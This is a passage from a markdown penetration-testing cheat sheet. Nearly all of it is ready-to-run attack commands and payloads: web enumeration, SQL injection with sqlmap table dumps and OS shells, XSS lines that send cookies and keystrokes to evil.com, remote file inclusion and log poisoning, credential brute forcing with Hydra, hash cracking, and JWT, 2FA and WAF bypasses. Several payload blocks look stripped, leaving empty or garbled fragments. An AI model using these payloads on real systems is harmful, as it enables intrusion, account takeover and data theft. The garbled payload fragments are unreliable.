$PORTS --script vuln -oN $OUTDIR/vuln.txt $TARGET\n\n# Phase 5: Safe script scan\necho \"[*] Phase 5: Safe script scan\"\nnmap -p $PORTS --script safe -oN $OUTDIR/safe_scripts.txt $TARGET\n\n# Phase 6: UDP scan (top 100 ports)\necho \"[*] Phase 6: UDP scan (top 100 ports)\"\nsudo nmap -sU --top-ports 100 -oN $OUTDIR/udp.txt $TARGET\n\necho \"[+] Scan complete! Results in $OUTDIR\"\n```\n\n---\n\n## Web Enumeration\n\n### Directory & File Brute Forcing\n\n#### Gobuster\n```bash\n# Directory enumeration\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n\n# With extensions\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,html,txt,bak,zip,sql\n\n# Status codes\ngobuster dir -u https://target.com -w wordlist.txt -s 200,204,301,302,307,403\n\n# Exclude status codes\ngobuster dir -u https://target.com -w wordlist.txt -b 404,403\n\n# Follow redirects\ngobuster dir -u https://target.com -w wordlist.txt -r\n\n# Cookies and headers\ngobuster dir -u https://target.com -w wordlist.txt -c \"session=abc123\"\ngobuster dir -u https://target.com -w wordlist.txt -H \"Authorization: Bearer token\"\n\n# DNS subdomain enumeration\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n\n# VHost enumeration\ngobuster vhost -u https://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n```\n\n#### FFUF (Faster Fuzzer)\n```bash\n# Basic directory fuzzing\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt\n\n# With extensions\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.asp,.aspx,.jsp,.html,.txt\n\n# Filter by status codes\nffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404,403\nffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,204,301,302\n\n# Filter by response size\nffuf -u https://target.com/FUZZ -w wordlist.txt -fs 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fw 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fl 0\n\n# Recursive scanning\nffuf -u https://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2\n\n# POST request fuzzing\nffuf -u https://target.com/login -X POST -d \"username=FUZZ&password=test\" -H \"Content-Type: application/x-www-form-urlencoded\" -w usernames.txt -fc 401\n\n# Header fuzzing\nffuf -u https://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fc 400,404\n\n# Parameter fuzzing\nffuf -u https://target.com/page?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 404\n\n# Cookie fuzzing\nffuf -u https://target.com -b \"session=FUZZ\" -w wordlist.txt -fc 302\n\n# Multiple FUZZ points\nffuf -u https://target.com/FUZZ1?param=FUZZ2 -w FUZZ1:dirs.txt -w FUZZ2:params.txt\n```\n\n#### Dirb\n```bash\n# Basic scan\ndirb https://target.com\n\n# With custom wordlist\ndirb https://target.com /usr/share/wordlists/dirb/big.txt\n\n# With extensions\ndirb https://target.com -X .php,.html,.txt\n\n# Non-recursive\ndirb https://target.com -r\n\n# Use cookies\ndirb https://target.com -c \"session=abc123\"\n\n# Use proxy\ndirb https://target.com -p 127.0.0.1:8080\n```\n\n#### Wfuzz\n```bash\n# Directory scanning\nwfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ\n\n# File extensions\nwfuzz -c -z file,wordlist.txt -z list,php-asp-jsp https://target.com/FUZZ.FUZ2Z\n\n# POST parameter fuzzing\nwfuzz -c -z file,usernames.txt -d \"username=FUZZ&password=test\" https://target.com/login\n\n# Cookie fuzzing\nwfuzz -c -z file,sessions.txt -b \"session=FUZZ\" https://target.com/dashboard\n\n# Header injection\nwfuzz -c -z file,headers.txt -H \"FUZZ: test\" https://target.com\n```\n\n### Web Server Vulnerability Scanning\n\n#### Nikto\n```bash\n# Basic scan\nnikto -h https://target.com\n\n# Specific port\nnikto -h https://target.com -p 8443\n\n# With authentication\nnikto -h https://target.com -id admin:password\n\n# SSL/TLS specific\nnikto -h https://target.com -ssl\n\n# Save output\nnikto -h https://target.com -o nikto_scan.txt\n\n# Tuning (select specific tests)\nnikto -h https://target.com -Tuning 123456\n# 1=File Upload, 2=Misconfig, 3=Info Disclosure, 4=Injection, 5=RFI/LFI, 6=XSS, 7=Command Exec, 8=SQLi, 9=SQL Injection\n\n# Use proxy\nnikto -h https://target.com -useproxy http://127.0.0.1:8080\n\n# Evasion techniques\nnikto -h https://target.com -evasion 123\n# 1=Random URI, 2=Directory prepend, 3=Prepend long random string, 4=Parameter/Value, 5=Tab separation, 6=Change case, 7=Windows paths\n```\n\n#### WhatWeb\n```bash\n# Basic detection\nwhatweb https://target.com\n\n# Aggressive mode\nwhatweb https://target.com -a 3\n\n# Verbose output\nwhatweb https://target.com -v\n\n# Log output\nwhatweb https://target.com --log-brief=whatweb.txt\nwhatweb https://target.com --log-json=whatweb.json\nwhatweb https://target.com --log-sql=whatweb.sql\n\n# Multiple targets\nwhatweb --input-file=targets.txt\n```\n\n#### WPScan (WordPress)\n```bash\n# Basic scan\nwpscan --url https://target.com\n\n# Enumerate plugins\nwpscan --url https://target.com --enumerate p\n\n# Enumerate themes\nwpscan --url https://target.com --enumerate t\n\n# Enumerate users\nwpscan --url https://target.com --enumerate u\n\n# Enumerate vulnerable plugins/themes\nwpscan --url https://target.com --enumerate vp,vt\n\n# API token for vulnerability database\nwpscan --url https://target.com --api-token YOUR_TOKEN\n\n# Password brute force\nwpscan --url https://target.com --passwords rockyou.txt --usernames admin\n\n# WAF detection\nwpscan --url https://target.com --detection-mode aggressive\n\n# Multisite scan\nwpscan --url https://target.com --multisite\n```\n\n### CMS-Specific Enumeration\n\n#### Joomla\n```bash\n# Joomscan\njoomscan -u https://target.com\n\n# Joomla vulnerability scanner\npython3 joomla-brute.py -u https://target.com -w passwords.txt -usr admin\n```\n\n#### Drupal\n```bash\n# Droopescan\ndroopescan scan drupal -u https://target.com\n\n# Drupalgeddon2\npython3 drupalgeddon2.py -u https://target.com\n```\n\n#### Magento\n```bash\n# MageScan\npython2 magento-scan.py -u https://target.com\n```\n\n### Virtual Host Discovery\n\n```bash\n# Using ffuf\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fs 1234\n\n# Using gobuster\ngobuster vhost -u http://target.com -w subdomains.txt\n\n# Using wfuzz\nwfuzz -c -z file,subdomains.txt -H \"Host: FUZZ.target.com\" -u http://target.com -hc 400,404\n\n# Manual with curl\nfor sub in $(cat subdomains.txt); do\n    curl -s -H \"Host: $sub.target.com\" http://target.com | grep -q \"Welcome\" && echo \"Found: $sub\"\ndone\n```\n\n### API Endpoint Discovery\n\n```bash\n# Common API paths\nffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt\n\n# API version fuzzing\nffuf -u https://target.com/api/vFUZZ -w \"1-10\" -fc 404\n\n# Swagger/OpenAPI discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"swagger.json\\nswagger.yaml\\nopenapi.json\\napi-docs\")\n\n# GraphQL discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"graphql\\ngraphiql\\ngraphql/console\\ngraphql/graphiql\")\n```\n\n### Robots.txt and Sitemap Analysis\n\n```bash\n# Check robots.txt\ncurl -s https://target.com/robots.txt\n\n# Check sitemap\ncurl -s https://target.com/sitemap.xml\ncurl -s https://target.com/sitemap_index.xml\n\n# Extract disallowed paths\ncurl -s https://target.com/robots.txt | grep \"Disallow\" | awk '{print $2}'\n\n# Extract sitemap URLs\ncurl -s https://target.com/sitemap.xml | grep -o \"[^<]*\" | sed 's///g'\n```\n\n### JavaScript File Analysis\n\n```bash\n# Download all JS files\nwget -r -l1 -A.js https://target.com\n\n# Extract endpoints from JS\ncat *.js | grep -Eo \"https?://[^/\\\\\\\"']+\" | sort -u\ncat *.js | grep -Eo \"/[a-zA-Z0-9_\\-/]+\\.(php|asp|aspx|jsp)\" | sort -u\n\n# LinkFinder\npython3 LinkFinder.py -i https://target.com -o cli\n\n# JSParser (for async endpoints)\npython2 JSParser.py https://target.com\n\n# SecretFinder\npython3 SecretFinder.py -i https://target.com -o cli\n```\n\n### Wayback Machine URL Extraction\n\n```bash\n# Get all historical URLs\nwaybackurls target.com | tee wayback_urls.txt\n\n# Gau (Get All URLs)\ngau target.com | tee gau_urls.txt\n\n# Filter interesting endpoints\ncat wayback_urls.txt | grep -E \"\\.php|\\?|\\.asp|\\.aspx|\\.jsp|api|admin|login\"\n\n# Check for parameters\ncat wayback_urls.txt | grep \"=\" | sort -u\n```\n\n---\n\n## Vulnerability Assessment\n\n### Automated Scanners\n\n#### Nuclei\n```bash\n# Basic scan\nnuclei -u https://target.com\n\n# With templates\nnuclei -u https://target.com -t cves/\nnuclei -u https://target.com -t exposures/\nnuclei -u https://target.com -t misconfiguration/\n\n# Severity-based\nnuclei -u https://target.com -severity critical,high\n\n# Multiple targets\nnuclei -l targets.txt\n\n# Output formats\nnuclei -u https://target.com -o results.txt -json\n\n# Rate limiting\nnuclei -u https://target.com -rl 150 -bs 25 -c 25\n```\n\n#### Nessus (Commercial)\n```bash\n# CLI usage\nnessuscli scan new --name \"Web Scan\" --targets target.com --policy \"Web App Tests\"\nnessuscli scan launch --scan-id 123\nnessuscli report download --scan-id 123 --format html\n```\n\n#### OpenVAS\n```bash\n# Start services\nsudo gvm-start\n\n# CLI scan creation\ngvm-cli --gmp-username admin --gmp-password pass socket --socketpath /var/run/gvmd.sock --xml \"...\"\n```\n\n### Manual Testing Techniques\n\n#### Security Headers Check\n```bash\n# Check security headers\ncurl -sI https://target.com | grep -iE \"strict-transport-security|content-security-policy|x-frame-options|x-content-type-options|referrer-policy|permissions-policy\"\n\n# Using online tools\n# securityheaders.com\n# observatory.mozilla.org\n```\n\n#### Information Disclosure\n```bash\n# Check for debug pages\ncurl -s https://target.com/phpinfo.php\ncurl -s https://target.com/info\ncurl -s https://target.com/server-status\n\n# Check for version disclosure\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\"\ncurl -s https://target.com | grep -i \"generator\\|version\"\n\n# Check for error messages\ncurl -s \"https://target.com/page?id='\" | grep -i \"sql\\|error\\|warning\"\n```\n\n#### CORS Misconfiguration\n```bash\n# Test with origin header\ncurl -sI https://target.com -H \"Origin: https://evil.com\" | grep -i \"access-control-allow-origin\"\n\n# Test with null origin\ncurl -sI https://target.com -H \"Origin: null\" | grep -i \"access-control-allow-origin\"\n```\n\n#### HTTP Methods Testing\n```bash\n# Check allowed methods\ncurl -sI https://target.com -X OPTIONS | grep -i \"allow\"\n\n# Test dangerous methods\ncurl -X PUT -d \"test\" https://target.com/test.txt\ncurl -X DELETE https://target.com/test.txt\ncurl -X TRACE https://target.com\n```\n\n---\n\n## SQL Injection (SQLi)\n\n### Detection Techniques\n\n#### Manual Testing\n```bash\n# Basic payloads\n' OR '1'='1\n' OR 1=1--\n\" OR \"1\"=\"1\n1' AND '1'='1\n1' AND '1'='2\n' OR '1'='1' --\n\n# Comments\n'--\n'#\n'/*\n'\n-- \n#\n\n# Union-based detection\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--\n\n# Boolean-based\n' AND 1=1--\n' AND 1=2--\n\n# Time-based\n' AND SLEEP(5)--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=1 AND SLEEP(5)--\n```\n\n#### Automated Detection with SQLmap\n```bash\n# Basic detection\nsqlmap -u \"https://target.com/page?id=1\"\n\n# POST request\nsqlmap -u \"https://target.com/login\" --data=\"username=admin&password=test\"\n\n# From Burp request file\nsqlmap -r request.txt\n\n# With cookie\nsqlmap -u \"https://target.com/page?id=1\" --cookie=\"session=abc123\"\n\n# Level and risk\nsqlmap -u \"https://target.com/page?id=1\" --level=5 --risk=3\n\n# Random user agent\nsqlmap -u \"https://target.com/page?id=1\" --random-agent\n\n# Batch mode (no prompts)\nsqlmap -u \"https://target.com/page?id=1\" --batch\n\n# Force SSL\nsqlmap -u \"https://target.com/page?id=1\" --force-ssl\n```\n\n### Data Extraction\n\n#### Database Enumeration\n```bash\n# Get databases\nsqlmap -u \"https://target.com/page?id=1\" --dbs\n\n# Get current database\nsqlmap -u \"https://target.com/page?id=1\" --current-db\n\n# Get current user\nsqlmap -u \"https://target.com/page?id=1\" --current-user\n\n# Get database users\nsqlmap -u \"https://target.com/page?id=1\" --users\n\n# Get database privileges\nsqlmap -u \"https://target.com/page?id=1\" --privileges\n```\n\n#### Table Enumeration\n```bash\n# Get tables from database\nsqlmap -u \"https://target.com/page?id=1\" -D database_name --tables\n\n# Get columns from table\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --columns\n\n# Dump table data\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump\n\n# Dump specific columns\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users -C username,password --dump\n\n# Conditional dump\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump --where=\"id=1\"\n```\n\n### Advanced SQLmap Techniques\n\n#### Bypass Techniques\n```bash\n# Tamper scripts\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment\nsqlmap -u \"https://target.com/page?id=1\" --tamper=between,randomcase\nsqlmap -u \"https://target.com/page?id=1\" --tamper=apostrophemask,apostrophenullencode\n\n# List all tamper scripts\nsqlmap --list-tampers\n\n# WAF bypass\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment --random-agent --flush-session\n\n# No-cast\nsqlmap -u \"https://target.com/page?id=1\" --no-cast\n\n# Hex conversion\nsqlmap -u \"https://target.com/page?id=1\" --hex\n```\n\n#### File System Access\n```bash\n# Read file\nsqlmap -u \"https://target.com/page?id=1\" --file-read=/etc/passwd\n\n# Write file\nsqlmap -u \"https://target.com/page?id=1\" --file-write=shell.php --file-dest=/var/www/html/shell.php\n\n# Check privileges\nsqlmap -u \"https://target.com/page?id=1\" --is-dba\n```\n\n#### OS Command Execution\n```bash\n# Get OS shell\nsqlmap -u \"https://target.com/page?id=1\" --os-shell\n\n# Execute command\nsqlmap -u \"https://target.com/page?id=1\" --os-cmd=\"id\"\n\n# SQL shell\nsqlmap -u \"https://target.com/page?id=1\" --sql-shell\n```\n\n### Common SQL Injection Payloads\n\n#### Authentication Bypass\n```sql\nadmin' --\nadmin' #\nadmin'/*\n' or 1=1--\n' or 1=1#\n' or 1=1/*\n') or '1'='1--\n') or ('1'='1--\n' UNION SELECT 1, 'admin', 'password'--\n```\n\n#### Union-Based Payloads\n```sql\n' UNION SELECT null, null, null--\n' UNION SELECT 1,2,3--\n' UNION SELECT 1,@@version,3--\n' UNION SELECT 1,table_name,3 FROM information_schema.tables--\n' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--\n```\n\n#### Error-Based Payloads\n```sql\n' AND extractvalue(1, concat(0x7e, database()))--\n' AND updatexml(1, concat(0x7e, database()), 1)--\n' AND (SELECT * FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--\n```\n\n#### Boolean-Based Payloads\n```sql\n' AND 1=1--\n' AND 1=2--\n' AND SUBSTRING(database(),1,1)='a'--\n' AND ASCII(SUBSTRING(database(),1,1)) > 100--\n```\n\n#### Time-Based Payloads\n```sql\n' AND SLEEP(5)--\n' AND BENCHMARK(10000000,MD5('a'))--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=(SELECT COUNT(*) FROM sysobjects WHERE xtype='U' AND WAITFOR DELAY '00:00:05')--\n```\n\n### Second-Order SQL Injection\n```bash\n# Register with malicious payload\nsqlmap -u \"https://target.com/register\" --data=\"username=admin'--&password=test\"\n\n# Trigger on another page\nsqlmap -u \"https://target.com/profile\" --cookie=\"session=abc123\" --second-url=\"https://target.com/profile\"\n```\n\n### NoSQL Injection\n```javascript\n// MongoDB\n' || '1'=='1\n' || 1==1//\n' && this.password.match(/.*/)//\n' && this.username.match(/admin/)//\n\n// Authentication bypass\n{ \"username\": { \"$ne\": null }, \"password\": { \"$ne\": null } }\n{ \"username\": { \"$regex\": \"admin\" }, \"password\": { \"$regex\": \"^.*\" } }\n\n// Tools\n# NoSQLMap\nnosqlmap.py --target http://target.com --attack\n```\n\n---\n\n## Cross-Site Scripting (XSS)\n\n### XSS Types\n\n#### Reflected XSS\n```html\n\nalert('XSS')\n\n\nhttps://target.com/search?q=alert(1)\n\n\n\n```\n\n#### Stored XSS\n```html\n\nalert(document.cookie)\n\n\n\n\n\n\n```\n\n#### DOM-Based XSS\n```javascript\n// URL fragment\nhttps://target.com/#alert(1)\n\n// document.write\ndocument.write(location.hash.substring(1))\n\n// innerHTML\nelement.innerHTML = location.hash.substring(1)\n\n// eval\neval(location.hash.substring(1))\n```\n\n### XSS Payloads\n\n#### Basic Alert Payloads\n```html\nalert('XSS')\nalert(1)\nalert(document.cookie)\nalert(document.domain)\nalert(document.URL)\n```\n\n#### Event Handler Payloads\n```html\n\n\n\n\nHover me\n\n\n\n```\n\n#### Attribute Breakout\n```html\n\">alert(1)\n'>alert(1)\njavascript:alert(1)\n\">\n' onmouseover=alert(1) '\n```\n\n#### Encoded Payloads\n```html\n%3Cscript%3Ealert(1)%3C/script%3E\n<script>alert(1)</script>\nipt>alert(1)ipt>\nalert(1)\n```\n\n#### Polyglot Payloads\n```html\njavascript:/*-->\n\" onclick=alert(1)//Click\n```\n\n### Advanced XSS Attacks\n\n#### Cookie Stealing\n```html\n\nfetch('https://evil.com/steal?cookie='+document.cookie)\nnew Image().src='https://evil.com/steal?c='+document.cookie\ndocument.location='https://evil.com/steal?c='+document.cookie\n\n\nfetch('https://evil.com/steal', {method:'POST', body:document.cookie, mode:'no-cors'})\n\n\nfetch('https://evil.com/steal?data='+btoa(JSON.stringify(localStorage)))\n```\n\n#### Keylogging\n```javascript\n\ndocument.onkeypress = function(e) {\n    fetch('https://evil.com/keylog?key='+e.key);\n}\n\n```\n\n#### Session Hijacking\n```html\n\nfetch('https://evil.com/steal?token='+localStorage.getItem('token'))\n\n\n\nvar token = localStorage.getItem('token');\ndocument.write('');\n\n```\n\n#### Phishing\n```html\n\n\ndocument.body.innerHTML = '\n\nSession Expired\n';\n\n```\n\n#### Port Scanning\n```javascript\n\nfor (var i=1;i<=1024;i++) {\n    var img = new Image();\n    img.onload = function() { console.log('Port open: ' + i); };\n    img.onerror = function() { console.log('Port closed: ' + i); };\n    img.src = 'http://localhost:' + i;\n}\n\n```\n\n### XSS Testing Tools\n\n#### Dalfox\n```bash\n# Basic scan\ndalfox url https://target.com/page?q=test\n\n# File input\ndalfox file urls.txt\n\n# With cookie\ndalfox url https://target.com/page?q=test --cookie \"session=abc123\"\n\n# Blind XSS\ndalfox url https://target.com/page?q=test --blind \"https://xsshunter.com\"\n\n# Output formats\ndalfox url https://target.com/page?q=test --output results.txt --format json\n\n# Custom payloads\ndalfox url https://target.com/page?q=test --custom-payload-file payloads.txt\n```\n\n#### XSStrike\n```bash\n# Basic scan\npython3 xsstrike.py -u \"https://target.com/page?q=test\"\n\n# POST request\npython3 xsstrike.py -u \"https://target.com/search\" --data \"q=test\"\n\n# Crawl and test\npython3 xsstrike.py -u \"https://target.com\" --crawl\n\n# Skip DOM checking\npython3 xsstrike.py -u \"https://target.com/page?q=test\" --skip-dom\n```\n\n#### XSSer\n```bash\n# Basic scan\nxsser -u \"https://target.com/page?q=test\"\n\n# POST request\nxsser -u \"https://target.com/login\" --post=\"user=test&pass=test\"\n\n# Auto\nxsser --auto \"https://target.com/page?q=test\"\n\n# Crawler\nxsser --crawler \"https://target.com\"\n```\n\n### XSS Prevention Bypass\n\n#### WAF Bypass Techniques\n```html\n\nalert(1)\n\n\npt>alert(1)ript>\n\n\n\nalert(1)\n\n\n\n<\tscript\t>alert(1)</\tscript\t>\n\n\n%3cscript%3ealert(1)%3c/script%3e\n\n\n%253cscript%253ealert(1)%253c/script%253e\n\n\n+ADw-script+AD4-alert(1)+ADw-/script+AD4-\n\n\n\n\n\n<\u017fcript>alert(1)</\u017fcript>\n```\n\n#### CSP Bypass\n```html\n\nalert(1)\n\n\neval('alert(1)')\n\n\n\n\n\n\n\n\n\n\n```\n\n---\n\n## Authentication Attacks\n\n### Brute Force Tools\n\n#### Hydra\n```bash\n# HTTP POST form\nhydra -l admin -P rockyou.txt target.com http-post-form \"/login:username=^USER^&password=^PASS^:Invalid\"\n\n# HTTP GET with basic auth\nhydra -L users.txt -P pass.txt target.com http-get /protected\n\n# HTTPS POST\nhydra -l admin -P pass.txt -s 443 target.com https-post-form \"/login:user=^USER^&pass=^PASS^:F=incorrect\"\n\n# With cookies\nhydra -l admin -P pass.txt target.com http-post-form \"/login:username=^USER^&password=^PASS^&cookie=value:H=session=abc123:F=Invalid\"\n\n# Multiple threads\nhydra -L users.txt -P pass.txt -t 16 target.com http-post-form \"/login:username=^USER^&password=^PASS^:Invalid\"\n\n# Output\nhydra -L users.txt -P pass.txt target.com http-post-form \"/login:user=^USER^&pass=^PASS^:Invalid\" -o results.txt\n\n# SSH\nhydra -L users.txt -P pass.txt ssh://target.com\n\n# FTP\nhydra -l admin -P pass.txt ftp://target.com\n\n# SMTP\nhydra -l admin@target.com -P pass.txt smtp://target.com\n\n# MySQL\nhydra -l root -P pass.txt mysql://target.com\n\n# RDP\nhydra -L users.txt -P pass.txt rdp://target.com\n\n# SMB\nhydra -L users.txt -P pass.txt smb://target.com\n```\n\n#### Medusa\n```bash\n# HTTP\nmedusa -h target.com -U users.txt -P pass.txt -M http -m DIR:/login -T 10\n\n# SSH\nmedusa -h target.com -U users.txt -P pass.txt -M ssh -T 4\n\n# FTP\nmedusa -h target.com -U users.txt -P pass.txt -M ftp\n\n# MySQL\nmedusa -h target.com -U users.txt -P pass.txt -M mysql\n```\n\n#### Patator\n```bash\n# HTTP POST\npatator http_fuzz url=https://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=pass.txt -x ignore:fgrep='Invalid'\n\n# FTP\npatator ftp_login host=target.com user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg='Login incorrect'\n\n# SSH\npatator ssh_login host=target.com user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg='Authentication failed'\n```\n\n### Dictionary Attacks with Hashcat\n\n#### Hash Identification\n```bash\n# Identify hash type\nhashid hash.txt\nhash-identifier hash\n```\n\n#### Common Hash Modes\n```bash\n# MD5\nhashcat -m 0 hash.txt rockyou.txt\n\n# SHA1\nhashcat -m 100 hash.txt rockyou.txt\n\n# SHA256\nhashcat -m 1400 hash.txt rockyou.txt\n\n# SHA512\nhashcat -m 1800 hash.txt rockyou.txt\n\n# NTLM\nhashcat -m 1000 hash.txt rockyou.txt\n\n# bcrypt\nhashcat -m 3200 hash.txt rockyou.txt\n\n# WordPress\nhashcat -m 400 hash.txt rockyou.txt\n\n# Joomla\nhashcat -m 400 hash.txt rockyou.txt\n\n# Drupal\nhashcat -m 7900 hash.txt rockyou.txt\n```\n\n#### Attack Modes\n```bash\n# Straight (wordlist)\nhashcat -a 0 -m 0 hash.txt rockyou.txt\n\n# Combination\nhashcat -a 1 -m 0 hash.txt wordlist1.txt wordlist2.txt\n\n# Mask attack (brute force)\nhashcat -a 3 -m 0 hash.txt ?l?l?l?l?l?l?l?l\n\n# Hybrid wordlist + mask\nhashcat -a 6 -m 0 hash.txt rockyou.txt ?d?d?d\n\n# Hybrid mask + wordlist\nhashcat -a 7 -m 0 hash.txt ?d?d?d rockyou.txt\n\n# Rule-based\nhashcat -a 0 -m 0 hash.txt rockyou.txt -r best64.rule\n```\n\n#### Rules and Masks\n```bash\n# Common masks\n?l = lowercase (a-z)\n?u = uppercase (A-Z)\n?d = digits (0-9)\n?s = special (!@#$%^&*)\n?a = all (l,u,d,s)\n?b = binary (0x00-0xff)\n\n# Examples\n?l?l?l?l?l = 5 lowercase\n?u?l?l?l?d?d = Capital + 3 lowercase + 2 digits\n?d?d?d?d?d?d = 6 digits\n?a?a?a?a?a?a = 6 any characters\n\n# Built-in rules\n/usr/share/hashcat/rules/best64.rule\n/usr/share/hashcat/rules/d3ad0ne.rule\n/usr/share/hashcat/rules/OneRuleToRuleThemAll.rule\n```\n\n### John the Ripper\n\n```bash\n# Basic crack\njohn --wordlist=rockyou.txt hash.txt\n\n# With format\njohn --format=raw-md5 --wordlist=rockyou.txt hash.txt\n\n# Show results\njohn --show hash.txt\n\n# Single crack mode\njohn --single hash.txt\n\n# Incremental (brute force)\njohn --incremental hash.txt\n\n# Rules\njohn --wordlist=rockyou.txt --rules hash.txt\n\n# Shadow file\nunshadow passwd shadow > combined.txt\njohn --wordlist=rockyou.txt combined.txt\n\n# SSH private key\nssh2john id_rsa > id_rsa.hash\njohn --wordlist=rockyou.txt id_rsa.hash\n```\n\n### Authentication Bypass Techniques\n\n#### SQL Injection Bypass\n```sql\nadmin' --\nadmin' #\nadmin'/*\n' or 1=1--\n' or 1=1#\n' or 1=1/*\n') or '1'='1--\n') or ('1'='1--\n' UNION SELECT 1,'admin','password'--\n' UNION SELECT NULL,NULL,NULL--\n```\n\n#### Parameter Tampering\n```http\n# Change user ID\nGET /profile?user_id=1\nGET /profile?user_id=2\n\n# Change role parameter\nPOST /admin\nrole=user \u2192 role=admin\n\n# Boolean parameters\nisAdmin=false \u2192 isAdmin=true\nadmin=0 \u2192 admin=1\n\n# Array parameters\nuser_ids[]=1 \u2192 user_ids[]=2\n```\n\n#### JWT Attacks\n```bash\n# Decode JWT\necho \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\" | base64 -d\n\n# JWT tool\njwt_tool token.jwt -T\n\n# Change algorithm to none\njwt_tool token.jwt -X a\n\n# Brute force secret\njwt_tool token.jwt -C -d rockyou.txt\n\n# Kid injection\njwt_tool token.jwt -I -hc kid -hv \"../../../dev/null\"\n```\n\n#### OAuth Misconfiguration\n```http\n# Redirect URI manipulation\nhttps://target.com/oauth/callback?code=xxx&state=yyy\nhttps://evil.com/oauth/callback?code=xxx&state=yyy\n\n# CSRF on OAuth\n\n\n# Scope escalation\nscope=read \u2192 scope=read+write\n```\n\n#### Session Fixation\n```http\n# Set session before login\nGET /login?PHPSESSID=attacker_session\n\n# After login, same session ID is authenticated\nGET /profile HTTP/1.1\nCookie: PHPSESSID=attacker_session\n```\n\n#### 2FA Bypass\n```http\n# Response manipulation\nHTTP/1.1 302 Found\nLocation: /2fa\n\n# Change to:\nHTTP/1.1 302 Found\nLocation: /dashboard\n\n# Parameter tampering\n2fa=123456 \u2192 2fa=000000\n\n# Null parameter\n2fa=123456 \u2192 2fa=\n\n# OTP reuse\n```\n\n---\n\n## File Inclusion Vulnerabilities\n\n### Local File Inclusion (LFI)\n\n#### Basic LFI\n```http\n# Directory traversal\nhttps://target.com/page?file=../../etc/passwd\nhttps://target.com/page?file=..\\..\\..\\windows\\win.ini\n\n# URL encoded\nhttps://target.com/page?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd\nhttps://target.com/page?file=..%252f..%252fetc%252fpasswd\n\n# Double encoding\nhttps://target.com/page?file=%25%32%65%25%32%65%25%32%66etc%25%32%66passwd\n```\n\n#### LFI with Null Byte (PHP < 5.3)\n```http\nhttps://target.com/page?file=../../etc/passwd%00\nhttps://target.com/page?file=../../etc/passwd%00.php\n```\n\n#### LFI with Path Truncation\n```http\nhttps://target.com/page?file=../../../../etc/passwd......................\nhttps://target.com/page?file=../../../../etc/passwd////////////////////\n```\n\n#### LFI Wrappers\n```php\n# PHP filter wrapper (read source)\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=index.php\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd\n\n# PHP input wrapper (execute code)\nPOST /page?file=php://input HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\n\n\n# PHP expect wrapper (if enabled)\nhttps://target.com/page?file=expect://id\n\n# Data wrapper\nhttps://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+\n\n# File wrapper\nhttps://target.com/page?file=file:///etc/passwd\n\n# Zip wrapper\nhttps://target.com/page?file=zip://shell.jpg#shell.php\n```\n\n### Remote File Inclusion (RFI)\n\n```http\n# Basic RFI\nhttps://target.com/page?file=http://evil.com/shell.txt\nhttps://target.com/page?file=https://evil.com/shell.php\nhttps://target.com/page?file=ftp://evil.com/shell.txt\n\n# With URL encoding\nhttps://target.com/page?file=http%3A%2F%2Fevil.com%2Fshell.txt\n\n# PHP wrapper\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=http://evil.com/shell.php\n```\n\n### Log Poisoning\n\n```bash\n# Apache access log poisoning\n# Inject PHP code in User-Agent\ncurl -A \"\" https://target.com\n\n# Then include log file\nhttps://target.com/page?file=/var/log/apache2/access.log\n\n# SSH log poisoning\nssh ''@target.com\nhttps://target.com/page?file=/var/log/auth.log\n\n# Mail log poisoning\ntelnet target.com 25\nMAIL FROM: \nRCPT TO: victim@localhost\nDATA\nSubject: test\ntest\n.\n\nhttps://target.com/page?file=/var/log/mail.log\n```\n\n### LFI to RCE\n\n```bash\n# Proc self/environ poisoning\ncurl -H \"User-Agent: \" https://target.com\nhttps://target.com/page?file=/proc/self/environ\n\n# Session file poisoning\n# First, set session 